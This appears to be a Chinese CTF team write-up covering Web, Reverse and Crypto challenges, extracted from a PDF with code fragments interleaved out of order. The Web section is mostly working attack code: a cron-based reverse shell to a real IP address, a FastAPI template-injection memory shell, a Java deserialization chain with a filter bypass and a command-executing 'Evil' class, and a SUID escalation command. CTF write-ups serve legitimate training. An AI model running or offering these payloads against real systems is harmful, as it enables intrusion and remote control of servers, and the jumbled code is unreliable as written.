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Web  

EncirclingGame  

玩⼀下游戏就得到 flag 了

php_online  

rm *  删除不了⽂件夹, 利⽤这个特性写⼊ logging/__init__.py  从⽽以 www-data 权
限执⾏任意代码

观察到 /sandbox ⽬录 www-data 可写, 并且 ps aux 发现存在 crond 进程, 容易想到将 
/etc/cron.d 软链接⾄ /sandbox/xxx ⽬录, 这样后续代码在以 root 权限写⼊ phpcode ⽂件时, 
实际写⼊的路径就会变成 /etc/cron.d/phpcode, 最后通过 cron 计划任务反弹 shell

phpcode 内容加了⼀句 php system 执⾏ sudo -l , 这个是为了阻塞脚本的执⾏, 使得 cron 
有⾜够的时间调度计划任务

import requests

url = 'http://eci-2ze8s04bx2wv3zny8l0a.cloudeci1.ichunqiu.com/'
sandbox_url = 'http://eci-
2ze8s04bx2wv3zny8l0a.cloudeci1.ichunqiu.com/sandbox'

def get_session(id):
    resp = requests.post(url, data={'id': id}, 
allow_redirects=False)
    return resp.cookies['session']

def send_payload(session, payload):



    cookies = {'session': session}
    resp = requests.post(sandbox_url, data={'code': payload}, 
cookies=cookies)
    return resp.text

def escalate_priv(cmd):
    session = get_session('ABC12345')

    mkdir_payload = "<?php system('mkdir logging') ?>"
    send_payload(session,mkdir_payload)

    create_file_payload = r"""<?php system('echo "import 
os\nos.system(\'{} > /tmp/a.txt\')" > logging/__init__.py');?
>""".format(cmd)
    send_payload(session, create_file_payload)

    getoutput_payload = "<?php system('cat /tmp/a.txt') ?>"
    return send_payload(session, getoutput_payload)

escalate_priv('ln -s /etc/cron.d /sandbox/CRONCRON')

cron_session = get_session('CRONCRON')

cron_payload = """
# <?php system('sudo -l'); ?>
* * * * * root bash -c 'bash -i >& /dev/tcp/122.51.21.9/65123 0>&1'
"""
send_payload(cron_session, cron_payload)



GoldenHornKing  

fastapi ssti 不出⽹打内存⻢

然后访问 /shell?x=cat /flag

import requests

url = 'http://eci-
2ze870nxuud7kn92ktzy.cloudeci1.ichunqiu.com:8000/calc'
# url = 'http://127.0.0.1:8000/calc'

payload = 
r'''app.routes[(dict(e=a)|join|count)].__class__.__init__.__builtins_
_['eval']("app.add_api_route('/shell', lambda x: 
__import__('os').popen(x).read())", {'app':app})'''

resp = requests.get(url, params={'calc_req': payload})
print(resp.text)



easy_java  

题⽬提示 jdk17 + cb, 实际上新版本 commons-beanutils ⼀般会同时带上 commons-
collections

测试后猜测环境不出⽹, 于是打⼀个 SpringEcho 回显

题⽬会在反序列化前过滤 org.apache 开头的类, 试了⼀下发现可以⽤ utf-8 overlong 
encoding 绕过

payload

package com.example.easyjava;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import 
org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.invoke.MethodHandles;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Demo {
    public static void main(String[] args) throws Exception {
        UnsafeUtil.patchModule(Demo.class);
        UnsafeUtil.patchModule(ReflectUtil.class);
       
 UnsafeUtil.patchModule(UTF8OverlongObjectOutputStream.class);

        String s = 
"yv66vgAAADMBLAgAAgEAFENhY2hlLUNvbnRyb2wtSGJvYm5mCgAEAAUHAAYMAAcACAEA
EGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYIAAoBAA9zdW4ubWlzYy5VbnNhZ
mUKAAwADQcADgwADwAQAQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS


yOwoApwC/DADAAGkBAARuZXh0CgC3AMIMAMMAaQEACHRvU3RyaW5nCgA7AMUMAMYAaQEAAABSAAgAaQAVAPoA+wAHABQAagD8APQAAgAcAGIA/QD0AAMAJQBZAP4A9AAEADkARQD/A";
        byte[] data = Base64.getDecoder().decode(s);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(MethodHandles.class),
                new InvokerTransformer("getDeclaredMethod", new 
Class[]{String.class, Class[].class}, new Object[]{"lookup", new 
Class[0]}),
                new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("defineClass", new Class[]
{byte[].class}, new Object[]{data}),
                new InstantiateTransformer(new Class[0], new 
Object[0]),
                new ConstantTransformer(1)
        };



SpringEcho 源码

        Transformer transformerChain = new ChainedTransformer(new 
Transformer[]{new ConstantTransformer(1)});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        innerMap.remove("keykey");

        ReflectUtil.setFieldValue(transformerChain, "iTransformers", 
transformers);
       
 System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.
serialize(expMap)));
    }
}

package org.apache.commons.collections.functors;

import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
import sun.misc.Unsafe;

public class Evil {
    private String getReqHeaderName() {
        return "Cache-Control-Hbobnf";
    }

    public Evil() throws Exception {
        try {
            Class unsafeClass = Class.forName("sun.misc.Unsafe");



            Field unsafeField = 
unsafeClass.getDeclaredField("theUnsafe");
            unsafeField.setAccessible(true);
            Unsafe unsafe = (Unsafe)unsafeField.get((Object)null);
            Method getModuleMethod = 
Class.class.getDeclaredMethod("getModule");
            Object module = getModuleMethod.invoke(Object.class);
            Class cls = Evil.class;
            long offset = 
unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
            unsafe.getAndSetObject(cls, offset, module);
        } catch (Exception var9) {
        }

        this.run();
    }

    public void run() {
        ClassLoader classLoader = 
Thread.currentThread().getContextClassLoader();

        try {
            Object requestAttributes = 
this.invokeMethod(classLoader.loadClass("org.springframework.web.cont
ext.request.RequestContextHolder"), "getRequestAttributes");
            Object request = this.invokeMethod(requestAttributes, 
"getRequest");
            Object response = this.invokeMethod(requestAttributes, 
"getResponse");
            Method getHeaderM = 
request.getClass().getMethod("getHeader", String.class);
            String cmd = (String)getHeaderM.invoke(request, 
this.getReqHeaderName());
            if (cmd != null && !cmd.isEmpty()) {
                Writer writer = (Writer)this.invokeMethod(response, 
"getWriter");
                writer.write(this.exec(cmd));
                writer.flush();
                writer.close();
            }
        } catch (Exception var8) {



        }

    }

    private String exec(String cmd) {
        try {
            boolean isLinux = true;
            String osType = System.getProperty("os.name");
            if (osType != null && 
osType.toLowerCase().contains("win")) {
                isLinux = false;
            }

            String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", 
cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = 
Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = (new Scanner(in)).useDelimiter("\\a");

            String execRes;
            for(execRes = ""; s.hasNext(); execRes = execRes + 
s.next()) {
            }

            return execRes;
        } catch (Exception var8) {
            Exception var8 = var8;
            Exception e = var8;
            return e.getMessage();
        }
    }

    private Object invokeMethod(Object targetObject, String 
methodName) throws NoSuchMethodException, IllegalAccessException, 
InvocationTargetException {
        return this.invokeMethod(targetObject, methodName, new 
Class[0], new Object[0]);
    }



    private Object invokeMethod(Object obj, String methodName, 
Class[] paramClazz, Object[] param) throws NoSuchMethodException, 
InvocationTargetException, IllegalAccessException {
        Class clazz = obj instanceof Class ? (Class)obj : 
obj.getClass();
        Method method = null;
        Class tempClass = clazz;

        while(method == null && tempClass != null) {
            try {
                if (paramClazz == null) {
                    Method[] methods = 
tempClass.getDeclaredMethods();

                    for(int i = 0; i < methods.length; ++i) {
                        if (methods[i].getName().equals(methodName) 
&& methods[i].getParameterTypes().length == 0) {
                            method = methods[i];
                            break;
                        }
                    }
                } else {
                    method = tempClass.getDeclaredMethod(methodName, 
paramClazz);
                }
            } catch (NoSuchMethodException var12) {
                tempClass = tempClass.getSuperclass();
            }
        }

        if (method == null) {
            throw new NoSuchMethodException(methodName);
        } else {
            method.setAccessible(true);
            if (obj instanceof Class) {
                try {
                    return method.invoke((Object)null, param);
                } catch (IllegalAccessException var10) {
                    throw new RuntimeException(var10.getMessage());
                }
            } else {



utf-8 overlong encoding 参考 
https://github.com/qi4L/JYso/blob/master/src/main/java/com/qi4l/jndi/gadgets/utils/utf8Ov
erlongEncoding/UTF8OverlongObjectOutputStream.java

admin_Test  

弱⼝令admin qwe123!@#,上传⽂件执⾏命令⽤户为ctf,然后find命令进⾏suid提权，读取flag

                try {
                    return method.invoke(obj, param);
                } catch (IllegalAccessException var11) {
                    throw new RuntimeException(var11.getMessage());
                }
            }
        }
    }
}

touch /tmp/test && find /tmp/test -exec cat /flag \\;

https://github.com/qi4L/JYso/blob/master/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java


Reverse  

babyRe  

输⼊之后来到检查，是flag{uuid}的格式

之后每次取flag的3字节，计算sha256并循环异或这三个字节



后⾯插⼊到了⼀个类似set的结构⾥，key就是取的三个字节，value就是最后异或的值

最后取出来所有的value拼在⼀起memcmp⽐较



直接预先计算出所有value对应的key反查，然后固定fla开头dfs搜索下⼀个3字节开头是上⼀
个后两个

import hashlib
import binascii
import sys
sys.setrecursionlimit(10000)

def sha256_hash(data):
    sha256 = hashlib.sha256()
    sha256.update(data.encode('utf-8'))
    return sha256.digest()

def xor_with_key(data, key):
    key_len = len(key)
    return bytes([data[i] ^ key[i % key_len] for i in 
range(len(data))])

results = dict()

def gen():
    alphabet = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
    for c_1 in alphabet:
        for c_2 in alphabet:



            for c_3 in alphabet:
                data = c_1 + c_2 + c_3
                hash_value = sha256_hash(data)
                xor_result = xor_with_key(hash_value, 
data.encode('utf-8'))
                results[xor_result.hex()] = data
                
                    



my_data = 
binascii.unhexlify("EB74464F7924C56210CBFFC5A239BE0399ED2C8FB9542BA7C")

three_chars = dict()



 

Crypto  

backdoorplus  

def dfs(curr_flag, depth):
    if "}" in curr_flag or depth > 42:
        print(curr_flag)
        return
    print("Looking for three-char strings starting with", 
curr_flag[-2:])
    for next_part in three_chars[ curr_flag[-2:] ]:
        print("Trying", next_part)
        dfs(curr_flag + next_part[-1], depth+1)

gen()
    
for i in range(0, len(my_data), 0x20):
    curr_data = my_data[i:i+0x20]
    ans = results[curr_data.hex()]
    print(ans, end='\n')
    
    if ans[:2] in three_chars.keys():
        three_chars[ ans[:2] ].append(ans)
    else:
        three_chars[ ans[:2] ] = [ ans ]

print("\n\n")
dfs("fla", 0)

p = 6277101735386680763835789423207666416083908700390324961279
n = 6277101735386680763835789423176059013767194773182842284081
b = 0x64210519E59C80E70FA7E9AB72243049FEB8DEECC146B9B1

Gx = 0x188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF1012
Gy = 0x07192B95FFC8DA78631011ED6B24CDD573F977A11E794811



E = EllipticCurve(GF(p), [-3, b])
G = E(Gx, Gy)

a, b, w, X = 751818, 1155982, 908970521, 20391992
sr = 6052579169727414254054653383715281797417510994285530927615
mr = 3839784391338849056467977882403235863760503590134852141664

sP = E.lift_x(sr)

# import gmpy2
from tqdm import tqdm
def bsgs(g,y,bound):
    m = isqrt(bound)+1
    dic={}
    tmp = E(0)
    t = m*g
    for j in (range(m)):
        dic[str(tmp)] = j
        tmp += t

    tmp = y
    t = g
    for j in tqdm(range(m)):
        if str(tmp) in dic.keys():
            return dic[str(tmp)]*m+j
        tmp -= g

bsgs(G, sP, 2^49)

from hashlib import sha1
import gmpy2

t = 1
Y = X * G
n = 6277101735386680763835789423176059013767194773182842284081
k1 = 432179965122662
a, b, w, X = 751818, 1155982, 908970521, 20391992
z = (k1 - w * t) * G + (-a * k1 - b) * Y
zx = int(z.x()) % n
k2 = int(sha1(str(zx).encode()).hexdigest(), 16)



c = 
129471652338588039271022447657800987029234312306235240286970250511065
2244504101007338338248714943
# c = 
127511757595325892878908164657953913048708756454035610286502367793029
0058381686661519205663547111

p = k2
for i in range(99):
    p = gmpy2.next_prime(p)
q = gmpy2.next_prime(p)
phi = (p-1)*(q-1)
d = inverse_mod(65537, phi)
m = int(pow(c, d, p*q))
from Crypto.Util.number import *

for i in range(2**20):
    M = long_to_bytes(m+i*p*q)
    if b'flag' in M:
        print(M)
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